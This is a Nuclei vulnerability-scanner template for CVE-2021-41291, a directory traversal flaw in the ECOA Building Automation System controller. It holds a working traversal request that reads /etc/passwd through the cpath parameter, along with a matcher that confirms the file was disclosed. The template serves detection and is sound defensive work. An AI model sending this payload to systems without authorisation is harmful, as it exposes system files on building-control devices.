nuclei-templates/http/cves/2021/CVE-2021-41291.yaml

41 lines
1.6 KiB
YAML

id: CVE-2021-41291
info:
name: ECOA Building Automation System - Directory Traversal Content Disclosure
author: gy741
severity: high
description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41291
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
- https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
- https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-41291
cwe-id: CWE-22
epss-score: 0.0476
epss-percentile: 0.91789
cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ecoa
product: ecs_router_controller-ecs_firmware
tags: cve,cve2021,ecoa,lfi,traversal
http:
- raw:
- |
GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022041db58b9bed0b6b98d234568afe184beb7005c7c124b42ce516fbb3539d3312d022100a1b4419a30f3e262c79e326cf3bbdc62e1443436c0a8229898e7f32d934a9b87:922c64590222798bb761d5b6d8e72950